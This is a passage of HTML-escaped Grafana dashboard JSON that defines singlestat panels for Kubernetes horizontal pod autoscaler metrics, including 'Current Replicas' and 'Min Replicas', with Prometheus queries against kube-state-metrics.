/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Current&amp;nbsp;Replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;singlestat&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueFontSize&quot;:&amp;nbsp;&quot;80%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;op&quot;:&amp;nbsp;&quot;=&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;0&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueName&quot;:&amp;nbsp;&quot;current&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cacheTimeout&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorBackground&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorValue&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colors&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#299c46&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rgba(237,&amp;nbsp;129,&amp;nbsp;40,&amp;nbsp;0.89)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#d44a3a&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;none&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gauge&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxValue&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;minValue&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdLabels&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdMarkers&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;3,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;6,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;12,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;7,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;interval&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingType&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingTypes&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;value&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;range&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxDataPoints&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullPointMode&quot;:&amp;nbsp;&quot;connected&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullText&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rangeMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;&quot;null&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;N/A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sparkline&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillColor&quot;:&amp;nbsp;&quot;rgba(31,&amp;nbsp;118,&amp;nbsp;189,&amp;nbsp;0.18)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;full&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineColor&quot;:&amp;nbsp;&quot;rgb(31,&amp;nbsp;120,&amp;nbsp;193)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tableColumn&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;kube_horizontalpodautoscaler_spec_min_replicas{job=\&quot;kube-state-metrics\&quot;,&amp;nbsp;&amp;nbsp;namespace=\&quot;$namespace\&quot;}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;time_series&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;intervalFactor&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Min&amp;nbsp;Replicas&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;singlestat&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueFontSize&quot;:&amp;nbsp;&quot;80%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;op&quot;:&amp;nbsp;&quot;=&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;0&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;valueName&quot;:&amp;nbsp;&quot;current&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cacheTimeout&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorBackground&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colorValue&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;colors&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#299c46&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rgba(237,&amp;nbsp;129,&amp;nbsp;40,&amp;nbsp;0.89)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#d44a3a&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;format&quot;:&amp;nbsp;&quot;none&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gauge&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxValue&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;minValue&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdLabels&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdMarkers&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;3,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;6,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;18,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;interval&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingType&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappingTypes&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;value&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;range&amp;nbsp;to&amp;nbsp;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;maxDataPoints&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullPointMode&quot;:&amp;nbsp;&quot;connected&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;nullText&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;postfixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefix&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;prefixFontSize&quot;:&amp;nbsp;&quot;50%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;rangeMaps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;&quot;null&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;N/A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;&quot;null&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sparkline&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillColor&quot;:&amp;nbsp;&quot;rgba(31,&amp;nbsp;118,&amp;nbsp;189,&amp;nbsp;0.18)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;full&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineColor&quot;:&amp;nbsp;&quot;rgb(31,&amp;nbsp;120,&amp;nbsp;193)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;show&quot;:&amp;nbsp;false&lt;br 